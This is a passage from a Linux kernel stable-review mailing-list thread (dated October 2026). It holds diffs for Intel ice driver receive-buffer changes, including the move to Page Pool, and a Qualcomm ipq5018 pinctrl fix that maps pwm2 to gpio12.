if (ring->xsk_pool) {
xdp_rxq_info_unreg(&ring->xdp_rxq);
- ring->rx_buf_len =
+ rx_buf_len =
xsk_pool_get_rx_frame_size(ring->xsk_pool);
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
ring->q_vector->napi.napi_id,
- ring->rx_buf_len);
+ rx_buf_len);
if (err)
return err;
err = xdp_rxq_info_reg_mem_model(&ring->xdp_rxq,
@@ -663,7 +664,7 @@ static int ice_vsi_cfg_rxq(struct ice_rx
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
ring->q_vector->napi.napi_id,
- ring->rx_buf_len);
+ ICE_RXBUF_3072);
if (err)
return err;
}
@@ -735,17 +736,9 @@ int ice_vsi_cfg_single_rxq(struct ice_vs
static void ice_vsi_cfg_frame_size(struct ice_vsi *vsi, struct ice_rx_ring *ring)
{
if (!vsi->netdev) {
- ring->max_frame = ICE_MAX_FRAME_LEGACY_RX;
- ring->rx_buf_len = ICE_RXBUF_1664;
-#if (PAGE_SIZE < 8192)
- } else if (!ICE_2K_TOO_SMALL_WITH_PADDING &&
- (vsi->netdev->mtu <= ETH_DATA_LEN)) {
- ring->max_frame = ICE_RXBUF_1536 - NET_IP_ALIGN;
- ring->rx_buf_len = ICE_RXBUF_1536 - NET_IP_ALIGN;
-#endif
+ vsi->max_frame = ICE_MAX_FRAME_LEGACY_RX;
} else {
- ring->max_frame = ICE_AQ_SET_MAC_FRAME_SIZE_MAX;
- ring->rx_buf_len = ICE_RXBUF_3072;
+ vsi->max_frame = ICE_AQ_SET_MAC_FRAME_SIZE_MAX;
}
}
--- a/drivers/net/ethernet/intel/ice/ice_txrx.c
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.c
@@ -544,13 +544,13 @@ void ice_clean_rx_ring(struct ice_rx_rin
*/
dma_sync_single_range_for_cpu(dev, rx_buf->dma,
rx_buf->page_offset,
- rx_ring->rx_buf_len,
+ ICE_RXBUF_3072,
DMA_FROM_DEVICE);
/* free resources associated with mapping */
- dma_unmap_page_attrs(dev, rx_buf->dma, ice_rx_pg_size(rx_ring),
+ dma_unmap_page_attrs(dev, rx_buf->dma, PAGE_SIZE,
DMA_FROM_DEVICE, ICE_RX_DMA_ATTR);
- __page_frag_cache_drain(rx_buf->page, rx_buf->pagecnt_bias);
+ __free_page(rx_buf->page);
rx_buf->page = NULL;
rx_buf->page_offset = 0;
@@ -804,10 +804,6 @@ ice_alloc_mapped_page(struct ice_rx_ring
struct page *page = bi->page;
dma_addr_t dma;
- /* since we are recycling buffers we should seldom need to alloc */
- if (likely(page))
- return true;
-
/* alloc new page for storage */
page = dev_alloc_pages(ice_rx_pg_order(rx_ring));
if (unlikely(!page)) {
@@ -816,7 +812,7 @@ ice_alloc_mapped_page(struct ice_rx_ring
}
/* map page for use */
- dma = dma_map_page_attrs(rx_ring->dev, page, 0, ice_rx_pg_size(rx_ring),
+ dma = dma_map_page_attrs(rx_ring->dev, page, 0, PAGE_SIZE,
DMA_FROM_DEVICE, ICE_RX_DMA_ATTR);
/* if mapping failed free memory back to system since
@@ -832,7 +828,6 @@ ice_alloc_mapped_page(struct ice_rx_ring
bi->page = page;
bi->page_offset = rx_ring->rx_offset;
page_ref_add(page, USHRT_MAX - 1);
- bi->pagecnt_bias = USHRT_MAX;
return true;
}
@@ -903,7 +898,7 @@ bool ice_alloc_rx_bufs(struct ice_rx_rin
/* sync the buffer for use by the device */
dma_sync_single_range_for_device(rx_ring->dev, bi->dma,
bi->page_offset,
- rx_ring->rx_buf_len,
+ ICE_RXBUF_3072,
DMA_FROM_DEVICE);
/* Refresh the desc even if buffer_addrs didn't change
@@ -933,69 +928,6 @@ bool ice_alloc_rx_bufs(struct ice_rx_rin
}
/**
- * ice_rx_buf_adjust_pg_offset - Prepare Rx buffer for reuse
- * @rx_buf: Rx buffer to adjust
- * @size: Size of adjustment
- *
- * Update the offset within page so that Rx buf will be ready to be reused.
- * For systems with PAGE_SIZE < 8192 this function will flip the page offset
- * so the second half of page assigned to Rx buffer will be used, otherwise
- * the offset is moved by "size" bytes
- */
-static void
-ice_rx_buf_adjust_pg_offset(struct ice_rx_buf *rx_buf, unsigned int size)
-{
-#if (PAGE_SIZE < 8192)
- /* flip page offset to other buffer */
- rx_buf->page_offset ^= size;
-#else
- /* move offset up to the next cache line */
- rx_buf->page_offset += size;
-#endif
-}
-
-/**
- * ice_can_reuse_rx_page - Determine if page can be reused for another Rx
- * @rx_buf: buffer containing the page
- *
- * If page is reusable, we have a green light for calling ice_reuse_rx_page,
- * which will assign the current buffer to the buffer that next_to_alloc is
- * pointing to; otherwise, the DMA mapping needs to be destroyed and
- * page freed
- */
-static bool
-ice_can_reuse_rx_page(struct ice_rx_buf *rx_buf)
-{
- unsigned int pagecnt_bias = rx_buf->pagecnt_bias;
- struct page *page = rx_buf->page;
-
- /* avoid re-using remote and pfmemalloc pages */
- if (!dev_page_is_reusable(page))
- return false;
-
- /* if we are only owner of page we can reuse it */
- if (unlikely(rx_buf->pgcnt - pagecnt_bias > 1))
- return false;
-#if (PAGE_SIZE >= 8192)
-#define ICE_LAST_OFFSET \
- (SKB_WITH_OVERHEAD(PAGE_SIZE) - ICE_RXBUF_3072)
- if (rx_buf->page_offset > ICE_LAST_OFFSET)
- return false;
-#endif /* PAGE_SIZE >= 8192) */
-
- /* If we have drained the page fragment pool we need to update
- * the pagecnt_bias and page count so that we fully restock the
- * number of references the driver holds.
- */
- if (unlikely(pagecnt_bias == 1)) {
- page_ref_add(page, USHRT_MAX - 1);
- rx_buf->pagecnt_bias = USHRT_MAX;
- }
-
- return true;
-}
-
-/**
* ice_add_xdp_frag - Add contents of Rx buffer to xdp buf as a frag
* @rx_ring: Rx descriptor ring to transact packets on
* @xdp: xdp buff to place the data into
@@ -1034,35 +966,6 @@ ice_add_xdp_frag(struct ice_rx_ring *rx_
}
/**
- * ice_reuse_rx_page - page flip buffer and store it back on the ring
- * @rx_ring: Rx descriptor ring to store buffers on
- * @old_buf: donor buffer to have page reused
- *
- * Synchronizes page for reuse by the adapter
- */
-static void
-ice_reuse_rx_page(struct ice_rx_ring *rx_ring, struct ice_rx_buf *old_buf)
-{
- u16 nta = rx_ring->next_to_alloc;
- struct ice_rx_buf *new_buf;
-
- new_buf = &rx_ring->rx_buf[nta];
-
- /* update, and store next to alloc */
- nta++;
- rx_ring->next_to_alloc = (nta < rx_ring->count) ? nta : 0;
-
- /* Transfer page from old buffer to new buffer.
- * Move each member individually to avoid possible store
- * forwarding stalls and unnecessary copy of skb.
- */
- new_buf->dma = old_buf->dma;
- new_buf->page = old_buf->page;
- new_buf->page_offset = old_buf->page_offset;
- new_buf->pagecnt_bias = old_buf->pagecnt_bias;
-}
-
-/**
* ice_get_rx_buf - Fetch Rx buffer and synchronize data for use
* @rx_ring: Rx descriptor ring to transact packets on
* @size: size of buffer to add to skb
@@ -1087,9 +990,6 @@ ice_get_rx_buf(struct ice_rx_ring *rx_ri
rx_buf->page_offset, size,
DMA_FROM_DEVICE);
- /* We have pulled a buffer for use, so decrement pagecnt_bias */
- rx_buf->pagecnt_bias--;
-
return rx_buf;
}
@@ -1184,16 +1084,10 @@ ice_put_rx_buf(struct ice_rx_ring *rx_ri
if (!rx_buf)
return;
- if (ice_can_reuse_rx_page(rx_buf)) {
- /* hand second half of page back to the ring */
- ice_reuse_rx_page(rx_ring, rx_buf);
- } else {
- /* we are not reusing the buffer so unmap it */
- dma_unmap_page_attrs(rx_ring->dev, rx_buf->dma,
- ice_rx_pg_size(rx_ring), DMA_FROM_DEVICE,
- ICE_RX_DMA_ATTR);
- __page_frag_cache_drain(rx_buf->page, rx_buf->pagecnt_bias);
- }
+ /* we are not reusing the buffer so unmap it */
+ dma_unmap_page_attrs(rx_ring->dev, rx_buf->dma,
+ PAGE_SIZE, DMA_FROM_DEVICE,
+ ICE_RX_DMA_ATTR);
/* clear contents of buffer_info */
rx_buf->page = NULL;
@@ -1219,27 +1113,12 @@ static void ice_put_rx_mbuf(struct ice_r
u32 idx = rx_ring->first_desc;
u32 cnt = rx_ring->count;
struct ice_rx_buf *buf;
- u32 xdp_frags = 0;
- int i = 0;
-
- if (unlikely(xdp_buff_has_frags(xdp)))
- xdp_frags = xdp_get_shared_info_from_buff(xdp)->nr_frags;
while (idx != ntc) {
buf = &rx_ring->rx_buf[idx];
if (++idx == cnt)
idx = 0;
- /* An XDP program could release fragments from the end of the
- * buffer. For these, we need to keep the pagecnt_bias as-is.
- * To do this, only adjust pagecnt_bias for fragments up to
- * the total remaining after the XDP program has run.
- */
- if (verdict != ICE_XDP_CONSUMED)
- ice_rx_buf_adjust_pg_offset(buf, xdp->frame_sz);
- else if (i++ <= xdp_frags)
- buf->pagecnt_bias++;
-
ice_put_rx_buf(rx_ring, buf);
}
--- a/drivers/net/ethernet/intel/ice/ice_txrx.h
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.h
@@ -27,71 +27,7 @@
#define ICE_MAX_TXQ_PER_TXQG 128
-/* Attempt to maximize the headroom available for incoming frames. We use a 2K
- * buffer for MTUs <= 1500 and need 1536/1534 to store the data for the frame.
- * This leaves us with 512 bytes of room. From that we need to deduct the
- * space needed for the shared info and the padding needed to IP align the
- * frame.
- *
- * Note: For cache line sizes 256 or larger this value is going to end
- * up negative. In these cases we should fall back to the legacy
- * receive path.
- */
-#if (PAGE_SIZE < 8192)
-#define ICE_2K_TOO_SMALL_WITH_PADDING \
- ((unsigned int)(NET_SKB_PAD + ICE_RXBUF_1536) > \
- SKB_WITH_OVERHEAD(ICE_RXBUF_2048))
-
-/**
- * ice_compute_pad - compute the padding
- * @rx_buf_len: buffer length
- *
- * Figure out the size of half page based on given buffer length and
- * then subtract the skb_shared_info followed by subtraction of the
- * actual buffer length; this in turn results in the actual space that
- * is left for padding usage
- */
-static inline int ice_compute_pad(int rx_buf_len)
-{
- int half_page_size;
-
- half_page_size = ALIGN(rx_buf_len, PAGE_SIZE / 2);
- return SKB_WITH_OVERHEAD(half_page_size) - rx_buf_len;
-}
-
-/**
- * ice_skb_pad - determine the padding that we can supply
- *
- * Figure out the right Rx buffer size and based on that calculate the
- * padding
- */
-static inline int ice_skb_pad(void)
-{
- int rx_buf_len;
-
- /* If a 2K buffer cannot handle a standard Ethernet frame then
- * optimize padding for a 3K buffer instead of a 1.5K buffer.
- *
- * For a 3K buffer we need to add enough padding to allow for
- * tailroom due to NET_IP_ALIGN possibly shifting us out of
- * cache-line alignment.
- */
- if (ICE_2K_TOO_SMALL_WITH_PADDING)
- rx_buf_len = ICE_RXBUF_3072 + SKB_DATA_ALIGN(NET_IP_ALIGN);
- else
- rx_buf_len = ICE_RXBUF_1536;
-
- /* if needed make room for NET_IP_ALIGN */
- rx_buf_len -= NET_IP_ALIGN;
-
- return ice_compute_pad(rx_buf_len);
-}
-
-#define ICE_SKB_PAD ice_skb_pad()
-#else
-#define ICE_2K_TOO_SMALL_WITH_PADDING false
#define ICE_SKB_PAD (NET_SKB_PAD + NET_IP_ALIGN)
-#endif
/* We are assuming that the cache line is always 64 Bytes here for ice.
* In order to make sure that is a correct assumption there is a check in probe
@@ -202,7 +138,6 @@ struct ice_rx_buf {
struct page *page;
unsigned int page_offset;
unsigned int pgcnt;
- unsigned int pagecnt_bias;
};
struct ice_q_stats {
@@ -376,7 +311,6 @@ struct ice_rx_ring {
struct ice_tx_ring *xdp_ring;
struct ice_rx_ring *next; /* pointer to next ring in q_vector */
struct xsk_buff_pool *xsk_pool;
- u16 max_frame;
u16 rx_buf_len;
dma_addr_t dma; /* physical address of ring */
u8 dcb_tc; /* Traffic class of ring */
@@ -492,15 +426,9 @@ struct ice_coalesce_stored {
static inline unsigned int ice_rx_pg_order(struct ice_rx_ring *ring)
{
-#if (PAGE_SIZE < 8192)
- if (ring->rx_buf_len > (PAGE_SIZE / 2))
- return 1;
-#endif
return 0;
}
-#define ice_rx_pg_size(_ring) (PAGE_SIZE << ice_rx_pg_order(_ring))
-
union ice_32b_rx_flex_desc;
void ice_init_ctrl_rx_descs(struct ice_rx_ring *rx_ring, u32 num_descs);
--- a/drivers/net/ethernet/intel/ice/virt/queues.c
+++ b/drivers/net/ethernet/intel/ice/virt/queues.c
@@ -863,18 +863,17 @@ int ice_vc_cfg_qs_msg(struct ice_vf *vf,
(qpi->rxq.databuffer_size > ((16 * 1024) - 128) ||
qpi->rxq.databuffer_size < 128))
goto error_param;
- ring->rx_buf_len = qpi->rxq.databuffer_size;
if (qpi->rxq.max_pkt_size > max_frame_size ||
qpi->rxq.max_pkt_size < 64)
goto error_param;
- ring->max_frame = qpi->rxq.max_pkt_size;
+ vsi->max_frame = qpi->rxq.max_pkt_size;
/* add space for the port VLAN since the VF driver is
* not expected to account for it in the MTU
* calculation
*/
if (ice_vf_is_port_vlan_ena(vf))
- ring->max_frame += VLAN_HLEN;
+ vsi->max_frame += VLAN_HLEN;
if (ice_vsi_cfg_single_rxq(vsi, q_idx)) {
dev_warn(ice_pf_to_dev(pf), "VF-%d failed to configure RX queue %d\n",
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 024/242] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (22 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 023/242] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 025/242] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
` (217 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Adriel Santos, Dmitry Baryshkov,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Adriel Santos <adriel@adriel.eu>
[ Upstream commit 709ba1c547eaf37da36ded2ecf3ea4e304cdfa9a ]
The pingroup table has gcc_plltest at function 5 of gpio12 and does not
offer pwm2 on that pin, so the pinmux core rejects a request for pwm2 on
gpio12 as an invalid group. On the hardware, function 5 of gpio12
carries the PWM2 output: the Xiaomi AX3000T v2 drives its blue status
LED from PWM2 on gpio12.
The vendor kernel shipped on that router (Linux 4.4, stock firmware
2.0.28) has pwm2 in this slot. Its pingroup table, as read from the
firmware image, lists these functions for gpio12:
gpio, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a,
_, _, _
and has pwm3 at function 4 of gpio13, matching commit c6c159fcdb4e
("pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13").
Measured on the board: with gpio12 set to each of the 16 function
values in turn, and PWM2 held at 0% and then at 100% duty, the pad
level read back from GPIO_IN follows PWM2 only at function 5. There it
does not follow PWM channels 0, 1 or 3, and the LED switches with PWM2.
Functions 4 and 7, which the table leaves empty, do not carry PWM2.
Put pwm2 in function 5 of gpio12 and list gpio12 in pwm2_groups. Drop
gpio12 from gcc_plltest_groups: none of its functions is gcc_plltest
any more, and selecting it would trigger the WARN_ON() in
msm_pinmux_set_mux().
Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
Assisted-by: LLM
Signed-off-by: Adriel Santos <adriel@adriel.eu>
Reviewed-by: Dmitry Baryshkov <dmitry.baryshkov@oss.qualcomm.com>
Link: https://patch.msgid.link/20261002160958.908424-1-adriel@adriel.eu
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/drivers/pinctrl/qcom/pinctrl-ipq5018.c b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
index 84392fe258c9f..28b23bb5e1dd2 100644
--- a/drivers/pinctrl/qcom/pinctrl-ipq5018.c
+++ b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
@@ -361,7 +361,7 @@ static const char * const blsp1_uart0_groups[] = {
};
static const char * const gcc_plltest_groups[] = {
- "gpio10", "gpio12",
+ "gpio10",
};
static const char * const gcc_tlmm_groups[] = {
@@ -555,7 +555,7 @@ static const char * const qdss_cti_trig_in_b0_groups[] = {
};
static const char * const pwm2_groups[] = {
- "gpio44",
+ "gpio12", "gpio44",
};
static const char * const qdss_cti_trig_out_b1_groups[] = {
@@ -688,7 +688,7 @@ static const struct msm_pingroup ipq5018_groups[] = {
PINGROUP(9, sdc1_clk, qspi_clk, _, qdss_tracedata_a, _, _, _, _, _),
PINGROUP(10, blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),
PINGROUP(11, blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _),
- PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _),
+ PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a, _, _, _),
PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),
PINGROUP(14, pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _),
PINGROUP(15, _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 190/193] ice: switch to Page Pool
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (188 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 189/193] ice: drop page splitting and recycling Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 191/193] ice: fix broken Rx on VFs Greg Kroah-Hartman
` (13 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Maciej Fijalkowski,
Alexander Lobakin, Jacob Keller, Michal Kubiak, Alexander Nowlin,
Tony Nguyen
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Kubiak <michal.kubiak@intel.com>
commit 93f53db9f9dc4a16b40ecd18e6d338ad57e4b670 upstream.
This patch completes the transition of the ice driver to use the Page Pool
and libeth APIs, following the same direction as commit 5fa4caff59f2
("iavf: switch to Page Pool"). With the legacy page splitting and recycling
logic already removed, the driver is now in a clean state to adopt the
modern memory model.
The Page Pool integration simplifies buffer management by offloading
DMA mapping and recycling to the core infrastructure. This eliminates
the need for driver-specific handling of headroom, buffer sizing, and
page order. The libeth helper is used for CPU-side processing, while
DMA-for-device is handled by the Page Pool core.
Additionally, this patch extends the conversion to cover XDP support.
The driver now uses libeth_xdp helpers for Rx buffer processing,
and optimizes XDP_TX by skipping per-frame DMA mapping. Instead, all
buffers are mapped as bi-directional up front, leveraging Page Pool's
lifecycle management. This significantly reduces overhead in virtualized
environments.
Performance observations:
- In typical scenarios (netperf, XDP_PASS, XDP_DROP), performance remains
on par with the previous implementation.
- In XDP_TX mode:
* With IOMMU enabled, performance improves dramatically - over 5x
increase - due to reduced DMA mapping overhead and better memory reuse.
* With IOMMU disabled, performance remains comparable to the previous
implementation, with no significant changes observed.
- In XDP_DROP mode:
* For small MTUs, (where multiple buffers can be allocated on a single
memory page), a performance drop of approximately 20% is observed.
According to 'perf top' analysis, the bottleneck is caused by atomic
reference counter increments in the Page Pool.
* For normal MTUs, (where only one buffer can be allocated within a
single memory page), performance remains comparable to baseline
levels.
This change is also a step toward a more modular and unified XDP
implementation across Intel Ethernet drivers, aligning with ongoing
efforts to consolidate and streamline feature support.
Suggested-by: Maciej Fijalkowski <maciej.fijalkowski@intel.com>
Suggested-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Jacob Keller <jacob.e.keller@intel.com>
Signed-off-by: Michal Kubiak <michal.kubiak@intel.com>
Tested-by: Alexander Nowlin <alexander.nowlin@intel.com>
Signed-off-by: Tony Nguyen <anthony.l.nguyen@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ethernet/intel/Kconfig | 1
drivers/net/ethernet/intel/ice/ice_base.c | 91 ++---
drivers/net/ethernet/intel/ice/ice_ethtool.c | 17 -
drivers/net/ethernet/intel/ice/ice_lib.c | 1
drivers/net/ethernet/intel/ice/ice_main.c | 10
drivers/net/ethernet/intel/ice/ice_txrx.c | 440 ++++----------------------
drivers/net/ethernet/intel/ice/ice_txrx.h | 37 --
drivers/net/ethernet/intel/ice/ice_txrx_lib.c | 65 ++-
drivers/net/ethernet/intel/ice/ice_txrx_lib.h | 9
drivers/net/ethernet/intel/ice/ice_xsk.c | 76 +---
drivers/net/ethernet/intel/ice/ice_xsk.h | 6
11 files changed, 202 insertions(+), 551 deletions(-)
--- a/drivers/net/ethernet/intel/Kconfig
+++ b/drivers/net/ethernet/intel/Kconfig
@@ -296,6 +296,7 @@ config ICE
depends on GNSS || GNSS = n
select AUXILIARY_BUS
select DIMLIB
+ select LIBETH_XDP
select LIBIE
select LIBIE_ADMINQ
select LIBIE_FWLOG if DEBUG_FS
--- a/drivers/net/ethernet/intel/ice/ice_base.c
+++ b/drivers/net/ethernet/intel/ice/ice_base.c
@@ -2,6 +2,7 @@
/* Copyright (c) 2019, Intel Corporation. */
#include <net/xdp_sock_drv.h>
+#include <linux/net/intel/libie/rx.h>
#include "ice_base.h"
#include "ice_lib.h"
#include "ice_dcb_lib.h"
@@ -495,7 +496,7 @@ static int ice_setup_rx_ctx(struct ice_r
/* Receive Packet Data Buffer Size.
* The Packet Data Buffer Size is defined in 128 byte units.
*/
- rlan_ctx.dbuf = DIV_ROUND_UP(ICE_RXBUF_3072,
+ rlan_ctx.dbuf = DIV_ROUND_UP(ring->rx_buf_len,
BIT_ULL(ICE_RLAN_CTX_DBUF_S));
/* use 32 byte descriptors */
@@ -537,7 +538,7 @@ static int ice_setup_rx_ctx(struct ice_r
* than 5 x DBUF
*/
rlan_ctx.rxmax = min_t(u32, vsi->max_frame,
- ICE_MAX_CHAINED_RX_BUFS * ICE_RXBUF_3072);
+ ICE_MAX_CHAINED_RX_BUFS * ring->rx_buf_len);
/* Rx queue threshold in units of 64 */
rlan_ctx.lrxqthresh = 1;
@@ -573,8 +574,6 @@ static int ice_setup_rx_ctx(struct ice_r
if (vsi->type == ICE_VSI_VF)
return 0;
- ring->rx_offset = ICE_SKB_PAD;
-
/* init queue specific tail register */
ring->tail = hw->hw_addr + QRX_TAIL(pf_q);
writel(0, ring->tail);
@@ -582,38 +581,6 @@ static int ice_setup_rx_ctx(struct ice_r
return 0;
}
-static void ice_xsk_pool_fill_cb(struct ice_rx_ring *ring)
-{
- void *ctx_ptr = &ring->pkt_ctx;
- struct xsk_cb_desc desc = {};
-
- XSK_CHECK_PRIV_TYPE(struct ice_xdp_buff);
- desc.src = &ctx_ptr;
- desc.off = offsetof(struct ice_xdp_buff, pkt_ctx) -
- sizeof(struct xdp_buff);
- desc.bytes = sizeof(ctx_ptr);
- xsk_pool_fill_cb(ring->xsk_pool, &desc);
-}
-
-/**
- * ice_get_frame_sz - calculate xdp_buff::frame_sz
- * @rx_ring: the ring being configured
- *
- * Return frame size based on underlying PAGE_SIZE
- */
-static unsigned int ice_get_frame_sz(struct ice_rx_ring *rx_ring)
-{
- unsigned int frame_sz;
-
-#if (PAGE_SIZE >= 8192)
- frame_sz = rx_ring->rx_buf_len;
-#else
- frame_sz = PAGE_SIZE;
-#endif
-
- return frame_sz;
-}
-
/**
* ice_vsi_cfg_rxq - Configure an Rx queue
* @ring: the ring being configured
@@ -622,8 +589,14 @@ static unsigned int ice_get_frame_sz(str
*/
static int ice_vsi_cfg_rxq(struct ice_rx_ring *ring)
{
+ struct libeth_fq fq = {
+ .count = ring->count,
+ .nid = NUMA_NO_NODE,
+ .xdp = ice_is_xdp_ena_vsi(ring->vsi),
+ .buf_len = LIBIE_MAX_RX_BUF_LEN,
+ };
struct device *dev = ice_pf_to_dev(ring->vsi->back);
- u32 num_bufs = ICE_RX_DESC_UNUSED(ring);
+ u32 num_bufs = ICE_DESC_UNUSED(ring);
u32 rx_buf_len;
int err;
@@ -632,12 +605,16 @@ static int ice_vsi_cfg_rxq(struct ice_rx
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
ring->q_vector->napi.napi_id,
- ICE_RXBUF_3072);
+ ring->rx_buf_len);
if (err)
return err;
}
ice_rx_xsk_pool(ring);
+ err = ice_realloc_rx_xdp_bufs(ring, ring->xsk_pool);
+ if (err)
+ return err;
+
if (ring->xsk_pool) {
xdp_rxq_info_unreg(&ring->xdp_rxq);
@@ -655,36 +632,38 @@ static int ice_vsi_cfg_rxq(struct ice_rx
if (err)
return err;
xsk_pool_set_rxq_info(ring->xsk_pool, &ring->xdp_rxq);
- ice_xsk_pool_fill_cb(ring);
dev_info(dev, "Registered XDP mem model MEM_TYPE_XSK_BUFF_POOL on Rx ring %d\n",
ring->q_index);
} else {
+ err = libeth_rx_fq_create(&fq, &ring->q_vector->napi);
+ if (err)
+ return err;
+
+ ring->pp = fq.pp;
+ ring->rx_fqes = fq.fqes;
+ ring->truesize = fq.truesize;
+ ring->rx_buf_len = fq.buf_len;
+
if (!xdp_rxq_info_is_reg(&ring->xdp_rxq)) {
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
ring->q_vector->napi.napi_id,
- ICE_RXBUF_3072);
+ ring->rx_buf_len);
if (err)
- return err;
+ goto err_destroy_fq;
}
-
- err = xdp_rxq_info_reg_mem_model(&ring->xdp_rxq,
- MEM_TYPE_PAGE_SHARED,
- NULL);
- if (err)
- return err;
+ xdp_rxq_info_attach_page_pool(&ring->xdp_rxq,
+ ring->pp);
}
}
- xdp_init_buff(&ring->xdp, ice_get_frame_sz(ring), &ring->xdp_rxq);
ring->xdp.data = NULL;
- ring->xdp_ext.pkt_ctx = &ring->pkt_ctx;
err = ice_setup_rx_ctx(ring);
if (err) {
dev_err(dev, "ice_setup_rx_ctx failed for RxQ %d, err %d\n",
ring->q_index, err);
- return err;
+ goto err_destroy_fq;
}
if (ring->xsk_pool) {
@@ -712,9 +691,19 @@ static int ice_vsi_cfg_rxq(struct ice_rx
if (ring->vsi->type == ICE_VSI_CTRL)
ice_init_ctrl_rx_descs(ring, num_bufs);
else
- ice_alloc_rx_bufs(ring, num_bufs);
+ err = ice_alloc_rx_bufs(ring, num_bufs);
+
+ if (err)
+ goto err_destroy_fq;
return 0;
+
+err_destroy_fq:
+ libeth_rx_fq_destroy(&fq);
+ ring->rx_fqes = NULL;
+ ring->pp = NULL;
+
+ return err;
}
int ice_vsi_cfg_single_rxq(struct ice_vsi *vsi, u16 q_idx)
--- a/drivers/net/ethernet/intel/ice/ice_ethtool.c
+++ b/drivers/net/ethernet/intel/ice/ice_ethtool.c
@@ -10,6 +10,7 @@
#include "ice_lib.h"
#include "ice_dcb_lib.h"
#include <net/dcbnl.h>
+#include <net/libeth/rx.h>
struct ice_stats {
char stat_string[ETH_GSTRING_LEN];
@@ -1222,8 +1223,9 @@ static int ice_diag_send(struct ice_tx_r
*/
static int ice_lbtest_receive_frames(struct ice_rx_ring *rx_ring)
{
- struct ice_rx_buf *rx_buf;
+ struct libeth_fqe *rx_buf;
int valid_frames, i;
+ struct page *page;
u8 *received_buf;
valid_frames = 0;
@@ -1238,8 +1240,10 @@ static int ice_lbtest_receive_frames(str
cpu_to_le16(BIT(ICE_RX_FLEX_DESC_STATUS0_EOF_S)))))
continue;
- rx_buf = &rx_ring->rx_buf[i];
- received_buf = page_address(rx_buf->page) + rx_buf->page_offset;
+ rx_buf = &rx_ring->rx_fqes[i];
+ page = __netmem_to_page(rx_buf->netmem);
+ received_buf = page_address(page) + rx_buf->offset +
+ page->pp->p.offset;
if (ice_lbtest_check_frame(received_buf))
valid_frames++;
@@ -3304,7 +3308,8 @@ process_rx:
rx_rings[i].count = new_rx_cnt;
rx_rings[i].cached_phctime = pf->ptp.cached_phc_time;
rx_rings[i].desc = NULL;
- rx_rings[i].rx_buf = NULL;
+ rx_rings[i].xdp_buf = NULL;
+
/* this is to allow wr32 to have something to write to
* during early allocation of Rx buffers
*/
@@ -3313,10 +3318,6 @@ process_rx:
err = ice_setup_rx_ring(&rx_rings[i]);
if (err)
goto rx_unwind;
-
- /* allocate Rx buffers */
- err = ice_alloc_rx_bufs(&rx_rings[i],
- ICE_RX_DESC_UNUSED(&rx_rings[i]));
rx_unwind:
if (err) {
while (i) {
--- a/drivers/net/ethernet/intel/ice/ice_lib.c
+++ b/drivers/net/ethernet/intel/ice/ice_lib.c
@@ -1431,7 +1431,6 @@ static int ice_vsi_alloc_rings(struct ic
ring->reg_idx = vsi->rxq_map[i];
ring->vsi = vsi;
ring->netdev = vsi->netdev;
- ring->dev = dev;
ring->count = vsi->num_rx_desc;
ring->cached_phctime = pf->ptp.cached_phc_time;
--- a/drivers/net/ethernet/intel/ice/ice_main.c
+++ b/drivers/net/ethernet/intel/ice/ice_main.c
@@ -37,6 +37,8 @@ static const char ice_copyright[] = "Cop
#define ICE_DDP_PKG_FILE ICE_DDP_PKG_PATH "ice.pkg"
MODULE_DESCRIPTION(DRV_SUMMARY);
